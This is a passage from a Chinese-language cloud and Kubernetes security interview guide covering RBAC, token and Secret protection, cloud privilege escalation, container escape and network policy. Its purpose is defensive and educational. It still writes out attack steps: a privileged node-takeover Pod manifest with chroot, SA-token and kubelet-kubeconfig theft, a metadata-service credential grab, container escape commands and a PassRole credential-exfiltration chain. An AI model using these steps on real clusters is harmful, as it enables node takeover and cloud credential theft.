CI/CD(GitHub Actions)     → ★ OIDC 联邦(★ 不要存 AK/SK 到 Secrets)
CI/CD(Jenkins 等自建)     → OIDC 或 Vault 动态凭据
本地开发                    → SSO + 短期凭据(aws sso login)
第三方 SaaS                 → AssumeRole + ExternalId
定时任务 / Lambda           → 执行角色(★ 天然没有长期密钥)

★★ 常见的"过渡期"做法(如果短期内改不完):
   ① 用 SCP 禁止创建新 AK(★ 止血,防止继续增加)
   ② 给所有存量 AK 打标签,设 90 天轮换提醒
   ③ 用 CloudTrail 找出【长期没用】的 AK → 直接删
   ④ ★ 开启云厂商的泄露检测(AWS 会自动给泄露的 AK 打标签并限权)

J9(★★)IaC 安全为什么重要?有哪些工具?怎么落地?

★ 为什么重要(这是最好的“安全左移”落点)

★ 云上第一大安全问题 = 配置错误(不是漏洞)

  传统:配置错误只能在【运行时】发现 → 成本高
  IaC:配置变成了代码 → ★★ 可以在【写代码时】发现

★ 三个时机对比:
  ① 写代码时(左移)    → 改一行,成本几乎为 0
  ② 部署时               → 重新走流程,成本中等
  ③ 运行时(已出事)     → 应急响应,成本极高

★ 生活类比:
  以前是"房子盖好了才发现没消防通道"(要拆)
  现在是"看图纸时就发现"(改图纸,不要钱)

★ 工具对比

工具 特点 适合
Checkov 规则最多(1000+)、支持 YAML 自定义规则、支持基线 ★ 首选,覆盖 terraform/k8s/dockerfile/CF/helm
tfsec 快(Go 写)、输出美观 纯 Terraform 项目
KICS 支持语言最多(15+) 混合技术栈
Terrascan 支持 Rego、可当准入控制器 已用 OPA 的团队
Trivy ★ 全能:IaC + 镜像 + 依赖 + 密钥 + SBOM ★ 一个工具搞定所有

★ 落地三步走(★ 这是最重要的实战经验)

问题:老项目第一次跑扫描报了 400 个问题
     → 开发说"太多了,改不动"
     → 工具被搁置,再也没人用
     ★ 这是安全工具落地失败的最常见原因

✅ 正确做法:

  第一步:【建立基线,止血】
    checkov -d . --create-baseline
    → 400 个存量问题"记账",CI 只报【新增】问题
    → ★ 保证"不再变坏",这是最重要的

  第二步:【分期清理存量】
    按严重度排序,先清 CRITICAL(一般就 5~10 个)
    每个迭代清 20 个,写进 sprint
    ★ 不要一次清完,会拖垮业务迭代

  第三步:【高危设为硬性门禁】
    只对 CRITICAL + HIGH 设为 hard-fail
    MEDIUM/LOW 只警告不阻塞
    ★ 这样开发不会觉得"安全在添乱"

★★ 核心心法:
   ★ 安全工具落地的第一目标不是"消灭所有问题",
     而是"【不再变坏】"。
   只要新增代码是干净的,存量问题会慢慢被消化。

J10(★★★)K8s RBAC 的四个对象是什么?哪些 verb 危险?

★ 四个对象

Role / ClusterRole        = 【权限清单】(能做什么)
RoleBinding / ClusterRoleBinding = 【授权动作】(把这个清单给谁)

★ Role  vs ClusterRole:命名空间内 vs 全集群
★ 主体(Subject)三种:User / Group / ServiceAccount

★ 危险的 verb(★ 这一问是重点)

┌────────────────────────────────────────────────────────────┐
│ ★★★ secrets 的 get/list(★ 最被低估的危险)                  │
├────────────────────────────────────────────────────────────┤
│ 为什么危险:                                                 │
│   ① Secret 里有数据库密码、云 AK/SK、TLS 私钥                │
│   ② ★★ 更致命:ServiceAccount 的 token 也存为 Secret!       │
│      → 拿到任意 SA 的 token = 变成那个 SA                    │
│      → 如果那个 SA 权限更大 → ★ 提权成功                     │
│                                                              │
│ 常见场景:                                                   │
│   "给监控组件 secrets 读权限,方便读 TLS 证书"                │
│   → 结果它能读所有 Secret,包括其他 SA 的 token               │
└────────────────────────────────────────────────────────────┘

┌────────────────────────────────────────────────────────────┐
│ ★★★ pods/create 或 pods/exec(★ 等于节点 root)              │
├────────────────────────────────────────────────────────────┤
│ ① 我可以创建 Pod,指定 hostPID + privileged + hostPath /     │
│ ② Pod 启动 → 拿到节点 root                                   │
│ ③ 节点上有 kubelet 的 kubeconfig、节点角色的云凭据            │
│ ★★★ → "只是能创建 Pod" = 整个集群                            │
│                                                              │
│ pods/exec 同理:能 exec 进任意 Pod                            │
│ → 进到有高权限 SA 的 Pod → 读它的 token → 提权                │
│                                                              │
│ ★★ 关键认知:                                                 │
│   ★ RBAC 【无法】解决这个问题!                                │
│   ✅ 必须用 Pod Security Admission / Kyverno 限制             │
│      "能创建什么样的 Pod"(见 J16)                           │
└────────────────────────────────────────────────────────────┘

┌────────────────────────────────────────────────────────────┐
│ ★★ escalate / bind / impersonate                            │
├────────────────────────────────────────────────────────────┤
│ escalate:   能创建【超出自己权限】的 Role                    │
│ bind:       能把【超出自己权限】的 Role 绑给自己              │
│ impersonate:能伪装成别人(kubectl --as=system:master)       │
│                                                              │
│ ★ K8s 有内置防护:                                            │
│   默认【不能】创建/绑定超出自己权限的 Role                     │
│   ★ 除非有 escalate 或 bind                                   │
│   → ★★ 所以:永远不要给任何人 escalate / bind                 │
└────────────────────────────────────────────────────────────┘

┌────────────────────────────────────────────────────────────┐
│ ★★ serviceaccounts/token 的 create                          │
├────────────────────────────────────────────────────────────┤
│ 可以为【任意 SA】签发 token                                   │
│ → 包括 cluster-admin 权限的 SA → ★ 直接提权                  │
└────────────────────────────────────────────────────────────┘

┌────────────────────────────────────────────────────────────┐
│ ★★ certificatesigningrequests 的 create/approve             │
├────────────────────────────────────────────────────────────┤
│ 可以签发客户端证书 → 伪装成任意用户                           │
└────────────────────────────────────────────────────────────┘

★ 通配符与 default SA(两个最常见的坑)

# 坑 1:通配符 = cluster-admin
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]

# 坑 2:★★ default SA 被绑了高权限
subjects:
- kind: ServiceAccount
  name: default              # ← ★★ 千万别用 default
  namespace: default
roleRef:
  kind: ClusterRole
  name: cluster-admin        # ← ★★★
# ★ 后果:该命名空间里【每一个没指定 SA 的 Pod】都是集群管理员
#   → 攻击者跑一个最普通的 Pod 就沦陷了

★ 审计脚本(给出这个会加分)

# 谁能读所有 Secret?
kubectl get clusterroles -o json | jq -r '
  .items[] | . as $cr | (($cr.rules // [])[])
  | select((.resources // []) | any(. == "secrets" or . == "*"))
  | select((.verbs // []) | any(. == "get" or . == "list" or . == "*"))
  | "  ★ \($cr.metadata.name)"'

# 谁有 escalate / bind / impersonate?
kubectl get clusterroles,roles -A -o json | jq -r '
  .items[] | . as $r | (($r.rules // [])[])
  | select((.verbs // []) | any(. == "escalate" or . == "bind" or . == "impersonate"))
  | "  ★★★ \($r.kind)/\($r.metadata.name)"'

# ★ 用 rbac-tool 算提权路径(推荐工具)
rbac-tool analysis
rbac-tool visualize --outformat dot > rbac.dot && dot -Tpng rbac.dot -o rbac.png

J11(★★★)ServiceAccount 默认挂载 token 有什么风险?怎么防?

★ 风险:K8s 默认给每个 Pod 都挂载 SA token

★ 关键事实:
  K8s 【默认】把 SA token 挂载到每个 Pod 的
  /var/run/secrets/kubernetes.io/serviceaccount/token

  也就是说:
    你跑一个最简单的 nginx Pod
    → 它里面就有这个 token
    → 没指定 SA 的话,用的是 default SA
    → ★ 攻击者拿下这个 nginx(哪怕只是个能读文件的漏洞),
       就能拿 token 去调 K8s API

★ 生活类比:
  每个员工入职,公司默认发一张"能开所有会议室"的卡,
  哪怕他的工作根本不需要进会议室。
  → 为什么?因为"默认发"比"按需发"省事。

★ 三步防护

# ① ★★★ 默认不挂载(绝大多数业务 Pod 根本不需要调 K8s API)
apiVersion: v1
kind: Pod
spec:
  automountServiceAccountToken: false      # ★★★ 关键配置
---
# 或 SA 级别(推荐,一次配置,所有用这个 SA 的 Pod 生效)
apiVersion: v1
kind: ServiceAccount
metadata:
  name: app-sa
automountServiceAccountToken: false
# ② ★★ 用投影 Volume 的短期 token(K8s 1.21+)
#    真正需要调 API 的组件用这个
spec:
  automountServiceAccountToken: false
  volumes:
  - name: kube-api-access
    projected:
      sources:
      - serviceAccountToken:
          path: token
          expirationSeconds: 3600        # ★ 1 小时过期
          audience: my-internal-api      # ★ 限制受众
★ 老式 token 的四个问题(对比新式):
  ① 不过期            → 新式:1 小时过期,kubelet 自动续期
  ② 无 audience 限制  → 新式:绑定 audience
  ③ 存在 etcd 的 Secret → 新式:不存在 Secret,读 secrets 也拿不到
  ④ 不绑定 Pod        → 新式:Pod 删了 token 自动失效
# ③ ★ 用 Kyverno 全局自动注入(最省心)
#   开发什么都不用做,所有 Pod 默认就没有 token
#   真正需要的(如 Operator)显式打开

★ 检测

# 找出所有还挂载了 token 的 Pod
kubectl get pods -A -o json | jq -r '
  .items[]
  | select(.spec.automountServiceAccountToken != false)
  | "  \(.metadata.namespace)/\(.metadata.name)"' | head -30

# ★ 注意:还要检查 SA 级别的设置
kubectl get sa -A -o json | jq -r '
  .items[]
  | select(.automountServiceAccountToken == true)
  | "  SA: \(.metadata.namespace)/\(.metadata.name) 强制挂载"'

J12(★★★)K8s Secret 是加密的吗?怎么真正保护它?

★ 必须破除的误解

★★★ K8s 的 Secret 【不是加密的】,它只是 base64 编码。

  base64 是编码,不是加密。任何人 1 秒就能解出来:

    echo 'YWRtaW4xMjM=' | base64 -d
    → admin123

★ 生活类比:
  把密码写在纸上,放进一个"透明的文件袋",
  袋子上贴着"机密"两个字。
  → 看起来像保护了,实际谁都能看见。

★ 而且 etcd 里也是明文(未开启静态加密的话)

★ 四种保护方案(按推荐顺序)

┌────────────────────────────────────────────────────────────┐
│ ★★★★ 方案 1:根本不用 Secret(云资源场景)                   │
├────────────────────────────────────────────────────────────┤
│   用 IRSA / Workload Identity(见 10.4.3)                   │
│   ★★ 没有密钥 = 没有泄露                                     │
│   → 访问 S3/OSS/数据库(支持 IAM 认证的)都应该走这条路       │
└────────────────────────────────────────────────────────────┘

┌────────────────────────────────────────────────────────────┐
│ ★★★ 方案 2:Vault + CSI Driver(动态凭据)                   │
├────────────────────────────────────────────────────────────┤
│   ① Secret 存在 Vault,通过 CSI 卷挂载进 Pod                  │
│   ② ★★ 根本不创建 K8s Secret 对象!                          │
│   ③ ★ 动态凭据:每次用都是新的密码(1 小时过期)               │
│   → 适合:数据库密码、API Token                               │
└────────────────────────────────────────────────────────────┘

┌────────────────────────────────────────────────────────────┐
│ ★★ 方案 3:External Secrets Operator                         │
├────────────────────────────────────────────────────────────┤
│   ① 真源在云密钥管理服务(Secrets Manager / KMS)             │
│   ② Operator 自动同步成 K8s Secret                           │
│   ③ ★ 好处:单一数据源、自动轮换、集中审计                    │
│   ★ 缺点:最终还是落成了 K8s Secret(仍有 base64 问题)       │
└────────────────────────────────────────────────────────────┘

┌────────────────────────────────────────────────────────────┐
│ ★ 方案 4:开启 etcd 静态加密(★ 基础,必须做)                │
├────────────────────────────────────────────────────────────┤
│   ① aescbc:密钥在 master 节点配置文件里                      │
│      ★ 问题:能登录 master 的人就能拿到密钥                   │
│   ② ★★ kms:密钥在云 KMS 里(推荐)                          │
│      - 密钥不在节点上(节点被攻破也拿不到)                    │
│      - 有完整的密钥使用审计                                   │
│      - ★ 可以在云侧一键禁用 → 整个集群的 Secret 立刻无法解密   │
│        ★★ 这是应急响应的杀手锏                                │
└────────────────────────────────────────────────────────────┘

★ 必答的坑

★ 坑 1:★ 开启加密【不会】自动加密已有 Secret
    → 必须强制重写一次:
      kubectl get secrets -A -o json | kubectl replace -f -

★ 坑 2:直接给 etcd 挂 TLS 不等于加密
    TLS 只保护【传输中】,etcd 落盘的数据还是明文
    ★ 必须用 EncryptionConfiguration

★ 坑 3:★ RBAC 才是第一道防线
    就算开了 KMS 加密,如果某人有 secrets get 权限,
    他调用 API 时 apiserver 会解密后返回明文
    → ★ 加密只防"直接扒 etcd 文件",不防"有权限的人"
    → ★★ 所以:严格限制 secrets 的 get/list 权限(见 J10)

10.8.2 进阶题(J13 ~ J22)


J13(★★★)什么是云上提权?为什么 PassRole 是“提权之王”?

★ 定义与本质区别

云上提权(Cloud Privilege Escalation):
  低权限主体,利用【已有的正常权限】,让自己权限变得更大。

★ 与传统提权的根本区别:
  传统 Linux 提权:靠【漏洞】(未打补丁的内核、SUID 配置错误)
  云上提权:★ 靠【正常功能的组合】,不需要任何漏洞

★ 例子:
  iam:PutUserPolicy(改自己的策略)
  + iam:AttachUserPolicy(给自己贴策略)
  = 可以给自己贴 AdministratorAccess

  ★★ 单看每个权限都很合理,组合起来致命
  ★ 这不是漏洞,这是【功能】

★ 为什么 PassRole 是“提权之王”

★ 什么是 PassRole:
  启动 EC2 / Lambda / ECS 任务时,可以指定"它扮演哪个角色"
  → ★ 如果你能指定一个管理员角色,
     你就能登录这台机器,从 IMDS 拿到管理员凭据!

★ 完整攻击:
  ① 找账号里权限大的角色(如 OrganizationAccountAccessRole)
  ② 创建 Instance Profile 并关联这个角色
  ③ 启动一台 EC2,挂上这个角色,UserData 里写"把凭据发给我"
  ④ 机器启动,凭据到手 → 完全沦陷

★★★ 为什么它最危险(三个理由):
  ① 【业务天然需要它】
     CI/CD 要启动资源,就必须有 PassRole
     → 你不能简单地"不给这个权限"

  ② 【危险不明显】
     "我只是启动一台机器而已,有什么问题?"
     → 大部分人(包括很多运维)不知道 PassRole 的风险

  ③ 【防护容易被忽略】
     大家盯着"有没有 AdministratorAccess",
     却没注意"PassRole 的 Resource 是不是 *"

★ 防护(★ 这三句最关键):
  ✅ PassRole 的 Resource 【必须】精确到具体角色 ARN
     ❌ "Resource": "*"
     ✅ "Resource": "arn:aws:iam::123:role/特定的那一个"
  ✅ 用 SCP 禁止 PassRole 到高权限角色
  ✅ CloudTrail 告警:任何 PassRole 到 Admin 角色的调用

★ 21 种提权路径的分类记忆(不用背全,但要能分类)

A 类:直接改自己权限(10 种)
   iam:PutUserPolicy / AttachUserPolicy / AddUserToGroup /
   CreateAccessKey / CreateLoginProfile / UpdateLoginProfile /
   PutRolePolicy / AttachRolePolicy /
   CreatePolicyVersion / SetDefaultPolicyVersion
   ★ 记忆:所有 iam:* 里带 User/Role/Policy 的写操作

B 类:通过 PassRole 借用(5 种)★ 最隐蔽
   PassRole + {ec2:RunInstances, lambda:CreateFunction,
               ecs:RunTask, glue:CreateDevEndpoint,
               cloudformation:CreateStack}

C 类:通过其他服务侧身进入(6 种)
   lambda:UpdateFunctionCode(★ 改高权限函数的代码)
   lambda:UpdateFunctionConfiguration(改函数的角色)
   ssm:SendCommand(★ 等于所有机器的 root)
   ec2:ModifyInstanceAttribute
   sts:AssumeRole 到更高权限角色

D 类:通过数据访问间接提权(4 种)★ 最易被忽略
   s3:GetObject 到 Terraform state 桶(★ state 里有明文密钥)
   secretsmanager:GetSecretValue
   ec2:CreateSnapshot + ModifySnapshotAttribute(★ 共享快照外泄数据)
   rds:ModifyDBInstance(改 master 密码)

★ 检测工具(给出名字会加分)

# PMapper(★ 最推荐,能算出"谁能提权到管理员")
pip install principalmapper
pmapper --account 123456789012 graph create
pmapper --account 123456789012 analysis
# 输出:user/alice can privesc via role/DevRole (iam:PutUserPolicy)

# Cloudsplaining(生成 HTML 报告给老板看)
cloudsplaining scan --input-file authz.json --output results/

# Prowler(综合合规扫描)
prowler aws --checks iam_* --severity critical high

J14(★★★★)为什么说 K8s 里 pods: create 权限等于集群沦陷?怎么防?

★ 核心逻辑(★ 这题考的是“RBAC 的能力边界”认知)

★★★ 关键认知:
  RBAC 能限制【谁能做什么操作】
  ★ 但 RBAC 【管不了】操作的具体内容!

  具体来说:
    RBAC 能说:"alice 可以创建 Pod"
    ★ RBAC 不能说:"alice 可以创建 Pod,但不能创建特权 Pod"

  → ★★ 所以:一旦有人有 pods: create,
             他就【一定】能创建特权 Pod

  → 特权 Pod = 节点 root
  → 节点上有所有 Pod 的 SA token + 节点角色的云凭据
  → ★★★ 集群沦陷 + 可能横移到云账号

★ 攻击演示

# 有 pods: create 权限的人,创建这个 Pod
apiVersion: v1
kind: Pod
metadata:
  name: node-takeover
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: pwn
    image: alpine:3.19
    securityContext:
      privileged: true           # ★ 特权
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /                    # ★★ 挂载宿主机根目录
      type: Directory
# Pod 起来后,3 步拿到节点 root
kubectl exec -it node-takeover -- chroot /host /bin/bash

# 现在你在这个节点上有 root,能看到:
ls /var/lib/kubelet/pods/*/volumes/kubernetes.io~projected/*/token
#   ★★★ 这个节点上【所有 Pod】的 SA token!

cat /var/lib/kubelet/kubeconfig         # 节点的 kubeconfig
curl http://169.254.169.254/...         # 节点的云角色凭据

★ 防御(★ 唯一有效的手段)

★★★ 答案:准入控制器(Pod Security Admission / Kyverno / Gatekeeper)

  ★ 这是【唯一】能在"写入 etcd 之前"检查 Pod 内容、并拒绝的机制

  ① Pod Security Admission(PSA,K8s 内置)
     kubectl label ns production pod-security.kubernetes.io/enforce=restricted
     → 该命名空间里任何 privileged / hostPath / hostPID 的 Pod 都会被拒绝

  ② Kyverno(能写更细的规则,用 YAML)
     - 禁止特权容器
     - 禁止 hostPath 挂载
     - 镜像必须来自私有仓库
     - ★ 禁止挂载 docker.sock

  ③ Gatekeeper / OPA(用 Rego)

★★ 为什么 RBAC 做不到(★ 这是面试官想听的):
  RBAC 工作在【授权阶段】,此时请求还没被解析成具体资源内容,
  它只看 (user, verb, resource-type),不看 resource 的 spec。
  ★ 准入控制工作在【授权之后、持久化之前】,能看完整对象。
  ★★ 这是 K8s 架构上的分工,不是配置能绕过的。

★ 类似的“看似无害实则致命”的权限(加分)

pods/exec     → 能进任意 Pod → 读那个 Pod 的 SA token → 提权
pods/attach   → 同上
secrets get   → 能读所有 SA token
★ serviceaccounts/token create → 能给任意 SA 签发 token
ssm:SendCommand(云上)→ 等于所有装了 agent 的机器的 root

J15(★★★)容器逃逸有哪些手法?怎么防?

★ 先纠正认知:容器不是虚拟机

虚拟机:独立内核,隔离靠【硬件虚拟化】
容器:★ 共享宿主机内核,隔离靠【软件机制】
     ① Namespace(看得见什么)
     ② Cgroups(能用多少)
     ③ Capabilities / seccomp / MAC(能做什么)

★★ 结论:容器是【软件隔离】
    - 内核有漏洞 → 所有容器一起沦陷
    - 配置给多了(privileged)→ 隔离形同虚设

★ 六种手法(按危险度)

┌────────────────────────────────────────────────────────────┐
│ 手法 1:★★★ 特权容器(privileged: true)                     │
├────────────────────────────────────────────────────────────┤
│ 拿到宿主机全部 capabilities + 所有设备                        │
│                                                              │
│ 逃逸(3 条命令):                                            │
│   fdisk -l                          # 看到宿主机磁盘          │
│   mount /dev/sda1 /mnt/host         # 挂载                   │
│   chroot /mnt/host /bin/bash        # ★ 宿主机 root          │
│                                                              │
│ ★ 还有不需要 mount 的方法(cgroup release_agent):           │
│   利用 notify_on_release,让内核以 root 执行你指定的脚本      │
└────────────────────────────────────────────────────────────┘

┌────────────────────────────────────────────────────────────┐
│ 手法 2:★★★ 挂载 docker.sock                                 │
├────────────────────────────────────────────────────────────┤
│ ★ Docker daemon 是【root 权限】运行的                         │
│ 拿到 socket = 能让 Docker 做任何事                            │
│                                                              │
│ 一条命令逃逸:                                                │
│   docker run -it --rm -v /:/host --privileged alpine \       │
│     chroot /host                                             │
│                                                              │
│ ★ 为什么有人挂:CI 构建镜像(DinD)、监控收集信息              │
│ ✅ 替代:Kaniko / Buildah(构建)、cAdvisor(监控)            │
└────────────────────────────────────────────────────────────┘

┌────────────────────────────────────────────────────────────┐
│ 手法 3:★★ hostPath 挂载敏感目录                              │
├────────────────────────────────────────────────────────────┤
│ /              → 直接改文件                                  │
│ /etc           → 改 crontab、passwd                          │
│ /var/lib/kubelet → ★★ 所有 Pod 的 SA token!                 │
│ /root/.ssh     → 拿 SSH 私钥                                 │
│ /proc          → 改内核参数                                  │
└────────────────────────────────────────────────────────────┘

┌────────────────────────────────────────────────────────────┐
│ 手法 4:★★ 危险 Capabilities                                 │
├────────────────────────────────────────────────────────────┤
│ CAP_SYS_ADMIN   → ★★ "新的 root"                             │
│ CAP_SYS_MODULE  → 加载内核模块                               │
│ CAP_SYS_PTRACE  → 注入其他进程                               │
│ CAP_NET_ADMIN   → 抓包、改网络                               │
│ CAP_DAC_READ_SEARCH → 读任意文件                             │
│ CAP_DAC_OVERRIDE    → 写任意文件                             │
└────────────────────────────────────────────────────────────┘

┌────────────────────────────────────────────────────────────┐
│ 手法 5:★ 共享宿主机命名空间                                  │
├────────────────────────────────────────────────────────────┤
│ hostPID     → 看到所有进程 + 读其他容器的环境变量(★ 有密码)  │
│ hostNetwork → 访问 localhost 上的服务(kubelet 10250、etcd)  │
│ hostIPC     → 读写其他进程的共享内存                          │
└────────────────────────────────────────────────────────────┘

┌────────────────────────────────────────────────────────────┐
│ 手法 6:★ 内核漏洞(配置没问题也会中招)                      │
├────────────────────────────────────────────────────────────┤
│ CVE-2019-5736   runc 逃逸(覆盖宿主机 runc 二进制)           │
│ CVE-2022-0847   ★ Dirty Pipe(覆写任意只读文件)             │
│ CVE-2024-21626  runc "Leaky Vessels"                        │
│                                                              │
│ ★★ 关键:内核漏洞导致的逃逸,【配置层面挡不住】                │
│   → 对策:打补丁 / 更强隔离(gVisor、Kata)                   │
└────────────────────────────────────────────────────────────┘

★ 四种隔离强度(给出这个显示视野)

方案 原理 性能 适用
普通容器(runc) 共享内核 100% 可信内部业务(99% 场景)
★ gVisor 用户态内核(拦系统调用) 80~90% ★ 运行不可信代码、多租户
★★ Kata Containers 每个 Pod 一个轻量 VM,独立 guest 内核 ~95% 多租户、金融
★★★ User Namespace 容器内 root = 宿主机普通用户 几乎无损 ★ 2026 年最值得关注

★ 务实建议

① 所有业务 Pod:PSA restricted + 非 root + 只读根文件系统
   ★ 这能挡住 90% 的实际逃逸手法
② 运行不可信代码:gVisor 或 Kata
③ 节点本身:最小化安装、及时打补丁、禁止 SSH
④ ★ 不要在容器里跑任何需要真 root 的东西

★★ 性价比最高的一条:readOnlyRootFilesystem: true
   开启后攻击者即使进了容器也:
     ✗ 不能下载木马(没写权限)
     ✗ 不能改应用代码
     ✗ 不能写计划任务
   ★ 一句话:把"落地"这一步直接砍掉

J16(★★)Pod Security Standards 有哪三档?怎么落地才不会炸?

★ 三档

级别 白话 禁止/要求
Privileged 完全不限制 只用于系统组件(kube-system 的 CNI/CSI)
Baseline 挡住已知的危险用法 禁:privileged、hostNetwork/PID/IPC、hostPath、hostPort、危险 capabilities、特权端口
Restricted 最严格(安全最佳实践) 在 Baseline 之上额外要求:runAsNonRoot、allowPrivilegeEscalation=false、seccompProfile=RuntimeDefault、drop ALL capabilities、只允许 NET_BIND_SERVICE

★ 三个模式

enforce → 违反就拒绝(生产用)
audit   → 不拒绝,只记录(★ 先开这个观察)
warn    → 不拒绝,kubectl 返回警告(开发体验最好)

★ 落地三步走(★ 这是面试官想听的实战经验)

问题:直接把生产环境设成 restricted
     → 一堆 Pod 起不来 → 业务中断 → 安全团队背锅
     → 以后再也没人敢动安全配置

✅ 正确顺序:

  第一步:【先开 audit + warn,观察 2 周】
    kubectl label ns production \
      pod-security.kubernetes.io/audit=restricted \
      pod-security.kubernetes.io/warn=restricted

  第二步:【找出会被拦的 Pod,逐一改造】
    kubectl -n production get events --field-selector reason=FailedCreate
    ★ 常见的改造项:
      - 加 securityContext.runAsNonRoot: true
      - 加 securityContext.allowPrivilegeEscalation: false
      - 加 securityContext.capabilities.drop: ["ALL"]
      - 加 securityContext.seccompProfile.type: RuntimeDefault

  第三步:【切成 enforce】
    kubectl label ns production pod-security.kubernetes.io/enforce=restricted

  ★★ 别忘了给 kube-system 之类的命名空间设 privileged
      (否则 CNI/CSI/监控 agent 起不来 → 整个集群瘫痪)

★ 加分点:一个常见误解

误解:"PSA 能替代 Kyverno / OPA"

★ 不对。PSA 【只能】管 Pod 安全这一件事。
  它管不了:
    - 镜像必须来自私有仓库
    - 必须有 app.kubernetes.io/owner 标签
    - 副本数必须 >= 2
    - 镜像必须验签

★★ 推荐组合:
   PSA(restricted)    → 兜底,防止任何 Pod 有致命配置
   + Kyverno            → 公司自定义规范
   + cosign 镜像验签     → 供应链安全

J17(★★★)NetworkPolicy 有哪些坑?落地顺序是什么?

★ 先说最重要的:默认全通

★★★ K8s 集群默认【所有 Pod 之间网络全通】,跨命名空间也通。

★ 生活类比:
  住进一个小区,所有住户家门都不锁,互相能直接进。
  直到一个外卖员(被攻破的边缘 Pod)进来,挨家挨户走了一遍。

★ 真实后果:
  攻击者通过前端 nginx 的 RCE 进来
  → 能直接连 Redis(无密码)
  → 能直接连 MySQL
  → 能连 kubelet 10250(★ 节点沦陷)

★ 六个坑(★ 踩过的都懂)

坑 1:★ 忘了放行 DNS → 整个命名空间服务全挂
    现象:"could not resolve host"
    ✅ 每个命名空间都要有一条放通 53 端口的 Egress 规则
    ★ 建议用 Kyverno 自动生成

坑 2:★ Ingress 和 Egress 是独立的
    很多人以为"允许 A 访问 B"就双向通了
    ★ 错!A→B 需要:B 的 Ingress 允许 A 【且】 A 的 Egress 允许 B

坑 3:★ ipBlock 不能用来选 Pod
    ipBlock 只能写 CIDR,Pod IP 会变
    ✅ 选 Pod 用 podSelector + namespaceSelector

坑 4:★ 健康检查会被挡
    kubelet 的 probe 是从【节点】发起的
    → Ingress 规则没放行节点网段 → 探针失败 → Pod 反复重启
    ✅ 放行节点 CIDR,或用 Cilium 的 hostEntity

坑 5:★ 没有日志(默认)
    出问题分不清是"被策略挡了"还是"服务本身挂了"
    ✅ 用 Cilium(Hubble 能看到被拒绝的连接)或 Calico flow logs

坑 6:★★★ CNI 可能根本不支持!
    ★ Flannel(很流行的 CNI)【不实现】NetworkPolicy!
    → 你写了策略,它【静默不生效】,不报错
    ★★ 必须实测:
       创建 default-deny → 测试 Pod 之间还能不能通
       还能通 = 你的 NetworkPolicy 是纸糊的

★ 落地顺序(★ 关键,避免上线就炸)

不要一上来就 default-deny-all 生产环境!

① 【先只写 Ingress 拒绝,保留 Egress 全通】
   → 影响最小,能挡住大部分横向移动

② 【观察 1~2 周】

③ 【再逐步收 Egress】(★ 影响大,要按服务逐个梳理)
   → Egress 的价值更大(能挡住挖矿外联、数据外传、反弹 shell)
   → 但风险也大(可能挡住正常的外部 API 调用)

④ ★ 用 Cilium/Hubble 的"策略建议"功能自动生成规则
   (观察实际流量,自动生成对应的策略,★ 比人工梳理准确得多)

★ 一条特殊规则(加分点)

# ★★ Egress 放行公网,但排除云元数据服务
egress:
- to:
  - ipBlock:
      cidr: 0.0.0.0/0
      except:
      - 169.254.169.254/32      # ★★ AWS/Azure 元数据
      - 169.254.170.2/32        # ECS 任务元数据
      - 100.100.100.200/32      # 阿里云元数据
# ★ 这条规则能挡住 SSRF 偷云凭据,非常实用

J18(★★)服务网格带来什么安全能力?自身有什么风险?

★ 四个安全能力

① ★★★ 零信任网络
   传统:内网 = 可信(进了内网横行无阻)
   零信任:★ 从不信任网络,只信任身份
   → 每次调用都验证:你是谁(mTLS 证书)+ 你能不能调这个接口
   ★★ 即使攻击者进了某个 Pod,也调不了其他服务
   → ★ 直接堵死了大半横向移动

② ★★ L7(应用层)授权
   NetworkPolicy 只能做到 "A 可以访问 B 的 8080"
   AuthorizationPolicy 能做到:
   "A(身份)可以对 B 的 /api/v1/users 发 GET,但不能 POST/DELETE,
    且必须带有效 JWT,且 JWT 的 group 必须是 admin"

③ ★★ 通信加密自动化
   ★ 现实:90% 的微服务间通信是明文(因为配 TLS 太麻烦)
   服务网格:控制面自动签发证书 + 自动轮换 + sidecar 自动加载
   → ★ 应用代码完全不用改
   ★★ 这是"让安全比不安全更省事"的典范

④ ★ 完整可观测性
   每次调用都记录:谁调的、调了谁、结果、耗时
   → 出事后能精确还原"他访问了哪些服务"

★ 六个自身风险(★ 容易被忽视,这是加分项)

风险 1:★★★ 控制面(Istiod)是新的"皇冠珠宝"
   掌管:所有服务的证书签发私钥、所有路由和策略
   ★ 攻破 Istiod = 攻破整个网格
     - 可以给自己签发任意身份 → 冒充任何服务
     - 可以修改授权策略 → 放行所有流量
     - 可以修改路由 → 劫持流量做中间人
   ✅ 防护:严格 RBAC + 根证书用外部 KMS/Vault + 审计

风险 2:★★ Sidecar 注入被滥用
   能控制注入 → 可以注入恶意 sidecar → 看到所有流量
   ✅ 只有特定命名空间允许注入 + 镜像来自私有仓库且验签

风险 3:★★ PERMISSIVE 模式是个陷阱
   PERMISSIVE = 同时接受明文和 mTLS(本意是方便迁移)
   ★ 但攻击者可以发明文请求,完全绕过身份认证
   ★★ 很多团队开了就忘了切回 STRICT → mTLS 形同虚设

风险 4:★ 授权策略"默认允许"
   ★★ Istio 默认【允许所有】!(跟 NetworkPolicy 一样,反直觉)
   → 必须显式配置 deny-all,然后逐条放行
   ★ 很多人以为"装了 Istio 就有零信任了" → 不配策略等于没装

风险 5:★ 网格边界的"裸奔"流量
   没注入 sidecar 的 Pod(如 kube-system)不受管理
   ★ 直接通过 Pod IP 访问可以绕过 sidecar
   ✅ 用 NetworkPolicy 强制流量经过 sidecar

风险 6:★ 可观测性组件泄露信息
   ★ Kiali 默认【无认证】!任何人访问就能看到整个网格拓扑
   ★ Envoy 访问日志可能有 URL 参数、Cookie、Token
   ✅ Kiali/Grafana/Prometheus 必须加认证 + 日志脱敏

J19(★★★)eBPF 为什么是双刃剑?

★ 能力侧(为什么它火)

以前想在内核里做点事:
  方式 1:改内核源码 → 不现实
  方式 2:写内核模块 → 一个 bug 就 kernel panic

eBPF:
  ★ 程序先经过内核【验证器】严格检查
    (是否死循环、是否访问非法内存、能否终止)
  ★ 通不过就不让运行 → 安全性大幅提升

应用(★ 天天用到但不知道):
  网络:Cilium(K8s CNI)、XDP 防火墙、负载均衡
  可观测:Pixie、Hubble、bpftrace、BCC
  安全:Falco(eBPF 模式)、Tetragon、Tracee
  性能:perf、火焰图

★ 攻击侧(★ 三个风险)

风险 1:★★★ eBPF 程序能看到【一切】
   抓取所有网络包、监控所有系统调用、读任意进程内存、
   ★ 拦截系统调用并【篡改参数】(后门)
